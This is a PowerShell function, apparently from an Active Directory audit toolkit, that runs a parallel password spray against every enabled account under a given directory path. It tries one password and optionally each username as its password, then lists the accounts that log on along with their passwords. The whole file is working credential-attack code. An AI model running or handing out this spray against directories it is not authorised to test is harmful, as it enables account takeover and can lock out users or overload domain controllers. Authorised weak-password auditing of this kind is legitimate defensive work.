Private/Start-PasswordSprayAttack.ps1
|
function Start-PasswordSprayAttack { ################################################################################ ###### ##### ###### Run Password Spray in parallel ##### ###### ##### ################################################################################ param( [Parameter(Mandatory)] [string]$SearchBase, [Parameter(Mandatory)] [string]$Password, [Parameter(Mandatory)] [string]$Server, [Switch]$IncludeSamAccountNameAsPassword ) $CurrentFunction = Get-FunctionName Write-Log -Message "### Start Function $CurrentFunction ###" $StartRunTime = (Get-Date).ToString($Script:DateFormatLog) #################### main code | out- host ##################### $domain = (Get-ADDomain -Server $Server).NetBIOSName $users = Get-ADUser ` -Filter "Enabled -eq 'True'" ` -SearchBase $SearchBase ` -Server $Server ` -Properties SamAccountName $total = $users.Count if ($total -eq 0) { Invoke-Output -Type Warning -Message "No users found under $SearchBase" return } $cname = Convert-FromDNToCN -DistinguishedName $SearchBase Invoke-Output -Type Quit -Message "Press 'Q' at any time to abort Passwort Spray `n for '$total' users under '$cname'!" $startTime = Get-Date # ---- PARALLEL JOB ---- $job = $users | ForEach-Object -Parallel { $user = "$using:domain\$($_.SamAccountName)" try { $entry = New-Object System.DirectoryServices.DirectoryEntry("", $user, $using:Password) if ($entry.Name) { [PSCustomObject]@{ User = $user Password = $using:Password Success = $true } } else { If ($using:IncludeSamAccountNameAsPassword) { $entry = New-Object System.DirectoryServices.DirectoryEntry("", $user, $_.SamAccountName) if ($entry.Name) { [PSCustomObject]@{ User = $user Password = $_.SamAccountName Success = $true } } } } } catch { [PSCustomObject]@{ User = $user Success = $false } } } -ThrottleLimit 35 -AsJob $processed = 0 # ---- MONITOR LOOP ---- while ($job.State -eq "Running") { if ([Console]::KeyAvailable) { if ([Console]::ReadKey($true).Key -eq 'Q') { Stop-Job $job break } } $resultsSoFar = Receive-Job $job -Keep $processed = $resultsSoFar.Count $elapsed = (Get-Date) - $startTime $rate = if ($elapsed.TotalSeconds -gt 0) { [math]::Round($processed / $elapsed.TotalSeconds, 2) } else { 0 } $eta = if ($rate -gt 0) { [math]::Round(($total - $processed) / $rate, 1) } else { 0 } $metrics = Get-DCLiveMetrics -Server $Server $percent = [math]::Round(($processed / $total) * 100, 2) Write-Progress ` -Activity "Performing Password Spray" ` -Status "Done: $processed/$total | $rate ops/s | ETA: $eta s | DC CPU: $($metrics.CPU)% | LDAP: $($metrics.LDAP)ms" ` -PercentComplete $percent Start-Sleep -Milliseconds 250 } # Final Results $results = Receive-Job $job Remove-Job $job -Force Write-Progress -Activity "Performing Password Spray" -Completed $success = $results | Where-Object { $_.Success -eq $true } if ($success) { Invoke-Output -Type TextMaker -Message "Successful Logons under $cname`:" -TM $($success.count) $success | ForEach-Object { Invoke-Output -Type Bullet -Message "$($_.User) Pw:" -TM $_.Password } } else { Invoke-Output -Type Warning -Message "No successful logons!" } Invoke-Output -Type Success -Message "Finished Password Spray for current scope." ######################## main code ############################ $runtime = Get-RunTime -StartRunTime $StartRunTime Write-Log -Message " Run Time: $runtime [h] ###" Write-Log -Message "### End Function $CurrentFunction ###" } |